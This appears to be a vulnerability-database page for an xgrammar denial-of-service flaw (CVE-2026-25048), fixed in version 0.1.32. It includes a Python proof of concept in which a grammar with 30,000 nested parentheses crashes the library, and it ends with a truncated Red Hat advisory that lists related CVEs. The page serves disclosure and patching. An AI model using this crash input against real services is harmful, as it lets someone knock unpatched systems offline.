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EUVD-2026-339112

fkie_cve-2026-25048

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

GHSA-7rgv-gqhr-fxg3 — xgrammar vulnerable to DoS via multi-layer nesting

Affected: PyPI: xgrammar

### Summary

The multi-level nested syntax caused a segmentation fault (core dump).

### Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

### PoC

``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """

import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a' grammar = f"root ::= {s}"

def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0.5B-Instruct" # Load model model = AutoModelForCausalLM.from_pretrained( model_name, torch_dtype=torch.float16 if device == "cuda" else torch.float32, device_map=device ) tokenizer = AutoTokenizer.from_pretrained(model_name) config = AutoConfig.from_pretrained(model_name) # Math expression grammar math_grammar = grammar # Setup tokenizer_info = xgr.TokenizerInfo.from_huggingface( tokenizer, vocab_size=config.vocab_size ) compiler = xgr.GrammarCompiler(tokenizer_info) compiled_grammar = compiler.compile_grammar(math_grammar) # Generate prompt = "Math: " inputs = tokenizer(prompt, return_tensors="pt").to(device) xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar) output_ids = model.generate( **inputs, max_new_tokens=50,…

PYSEC-2026-2322

Affected: PyPI: xgrammar

RHSA-2026:24977 — Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI

bouncycastle: BC-JAVA: GOSTCTR implementation unable to process more than 255 blocks correctly vllm: HTTP header size limit not enforced allows Denial of Service from Unauthenticated requests golang: net/url: Memory exhaustion in query parameter parsing in net/url axios: Axios: Server-Side Request Forgery and proxy bypass due to improper hostname normalization aiohttp: aiohttp: Denial of Service via specially crafted POST request aiohttp: aiohttp: Denial of Service via memory exhaustion from crafted POST request keras: Keras: Arbitrary Code Execution Vulnerability Bypassing Safe Mode lodash: lodash: Arbitrary code execution via untrusted input in template imports fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies pyasn1: pyasn1: Denial of Service due to memory exhaustion from malformed RELATIVE-OID pytorch: PyTorch: Arbitrary code execution via malicious checkpoint file loading xgrammar: xgrammar: Denial of Service via multi-level nested syntax vLLM: vLLM: Server-Side Request Forgery bypass via inconsistent URL parsing onnx: ONNX: Information Disclosure via Path Traversal Vulnerability vllm: vLLM: Remote code execution due to hardcoded trust_remote_code setting onnx: ONNX: Untrusted Model Repository Warnings Suppressed python-dotenv: python-dotenv: Arbitrary file overwrite via symbolic link following immutable-js: Immutable.js: Arbitrary code execution via Prototype Pollution svgo: SVGO: Denial of Service via XML entity expansion tornado-pyth…